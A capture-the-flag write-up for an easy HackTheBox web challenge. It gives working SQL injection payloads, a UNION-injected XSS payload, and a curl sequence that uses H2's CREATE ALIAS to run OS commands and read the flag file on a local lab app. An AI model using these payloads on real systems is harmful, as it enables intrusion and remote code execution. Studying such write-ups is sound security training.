HackTheBox - Pentest Notes (Easy)

Pentest notes covering blackbox and whitebox findings, including SQLi and XSS.

  • hackthebox
  • pentest
  • web

HackTheBox - Pentest Notes (Easy)

BlackBox Testing

Before looking at the source code of the app locally, I would like to try what exploits I can make only using Burpsuite and Chrome Dev tool.

Screenshot

Javascript analysis of the webpage once logged in :

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pentest Checklist</title>
    <link rel="stylesheet" href="/Css/main.css">
</head>
<body>
<div class="app">
    <main>
        <section class="checklist">
            <div class="checklist__container">
                <div class="checklist__desc">Pentest Checklist</div>
                <div class="checklist__list" id="checklist">
                </div>
            </div>
        </section>
    </main>
</div>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        fetch('/api/notes')
            .then(response => response.json())
            .then(data => {
                const checklist = document.getElementById('checklist');
                if (data.length === 0) {
                    checklist.innerHTML = '<p>No checklist items available.</p>';
                } else {
                    data.forEach(item => {
                        const checklistItem = document.createElement('div');
                        checklistItem.classList.add('checklist__item');

                        // Create a clickable note link
                        const noteLink = document.createElement('a');
                        **noteLink.href = `/note?name=${encodeURIComponent(item.Note)}`;**
                        noteLink.textContent = `Note: ${item.Note}`;
                        noteLink.style.cursor = 'pointer'; // Optional: Change cursor style to indicate clickable

                        // Add event listener to handle click event
                        noteLink.addEventListener('click', function(event) {
                            event.preventDefault(); // Prevent default link behavior
                            window.location.href = noteLink.href; // Redirect to the note details page
                        });

                        const itemContent = document.createElement('div');
                        itemContent.textContent = `Content: ${item.Content}`;

                        checklistItem.appendChild(noteLink);
                        checklistItem.appendChild(itemContent);

                        checklist.appendChild(checklistItem);
                    });
                }
            })
            .catch(error => {
                console.error('Error fetching checklist data:', error);
            });
    });
</script>
</body>
</html>

we can see that there is a call to /api/notes and /note?name=...

The link is built as /note?name=${encodeURIComponent(item.Note)}, so the client side is not trivially injectable.

One thing I notice is : itemContent.innerHTML = Name: ${item.Name}<br>Note: ${item.Note};

  1. SQL Injection Vulnerability: The application uses user input from the 'name' parameter without proper sanitization before passing it to a database query. This allows for SQL injection attacks.

if we try the exploit : [http://localhost:1337/note?name=](http://localhost:1337/note?name=)' OR '1'='1 we can see that the SQL injection payload worked as expected, showing that the application is vulnerable to SQL injections attacks. The application is returning all records from the database because the condition ‘ OR ‘1’=’1 always evaluates to true.

Screenshot 2026-01-31 at 6.04.29 PM.png

  1. Stored XSS : If item.Name or item.Note can contain characters that the backend does not HTML-escape (or if an attacker can create/edit notes), this becomes stored XSS (or reflected XSS, depending on data origin). The main page was safe because it used textContent; this page is not.

if we try the payload :

http://localhost:1337/note?name=' UNION SELECT 999, '<img src%3Dx onerror%3Dalert(document.domain)>', 'pwn' --

Screenshot 2026-01-31 at 6.49.10 PM.png

Screenshot 2026-01-31 at 6.49.14 PM.png

It injects into the name parameter used by /api/note to run:

SELECT * FROM notes where name = '' UNION SELECT 999, '<img src=x onerror=alert(document.domain)>', 'pwn' --

That UNION SELECT forces a fake row into the results:

  • ID = 999
  • Name = <img src=x onerror=alert(document.domain)>
  • Note = pwn

The note.html page renders Name using innerHTML, so the  tag is interpreted as HTML and its onerror handler runs, popping alert(document.domain) in the victim’s browser.

So the URL demonstrates SQL injection → DOM XSS. Keep in mind that we need to be logged in (session cookie set) for the request to work, since /note and /api/note both require authentication.

Impact: execute arbitrary JS in the victim’s browser (DOM XSS via innerHTML).

  1. Skill issue :

curl -X POST -d "name=admin" [http://localhost:1337/api/note](http://localhost:1337/api/note) gives :

unauthorized%

I did not manage to exploit this vulnerability.

Whitebox Testing

Looking at the source code we can notice that the app is built in Java, using H2 database :

Screenshot 2026-01-31 at 6.32.54 PM.png

application.properties shows jdbc:h2:mem:notedb and H2 dialect.

Next I would like to check the shape of the query :

  • Select * from notes implies 3 columns (id, name, note).
  • A UNION payload must return the same number of columns in compatible types.

After some research, it looks like H2 has a well‑known feature: CREATE ALIAS which can map a Java function and allow command execution. So let’s try :

  • Step 0: login and save session cookie

curl -i -c cookies.txt -d "username=user&password=123" "http://localhost:1337/login"

  • Step 1: create an H2 alias that runs OS commands (stacked SQL injection)

curl -s -b cookies.txt -d $'name=\';CREATE ALIAS SHELLEXEC AS \'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }\';-- ' "http://localhost:1337/api/note"

Here’s a quick breakdown :

The server does:

Select * from notes where name = '<user input>'

So the input should be inside single quotes.

The injected SQL is :

'; CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {
  java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
    .useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
}'; --
  • '; → Closes the original name='... string and ends the WHERE clause.

  • CREATE ALIAS SHELLEXEC AS '...'; → H2 lets you create a database function from a Java method body. This defines SHELLEXEC(cmd) that returns command output.

  • useDelimiter("\\A") → Reads the entire process output in one go (\A = “start of input” in regex).

-- → Comments out the trailing quote from the original SQL template.

  • Step 2: list / to find the randomized flag filename

curl -s -b cookies.txt -d $'name=\' UNION SELECT 1, SHELLEXEC(\'ls /\'), \'x\'-- ' "http://localhost:1337/api/note"

I get the following result :

[{"Note":"x","ID":1,"Name":"app\nbin\nboot\n__cacert_entrypoint.sh\ndev\nEBYg1IF3A9L3_flag.txt\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}]

The output shows the flag file name is :

/EBYg1IF3A9L3_flag.txt

  • Step 3: read the flag (replace the filename you saw from Step 2)

curl -s -b cookies.txt -d $'name=\' UNION SELECT 1, SHELLEXEC(\'cat /EBYg1IF3A9L3_flag.txt\'), \'x\'-- ' "http://localhost:1337/api/note"

We get the flag as the output :

HTB{f4k3_fl4g_f0r_t35t1ng}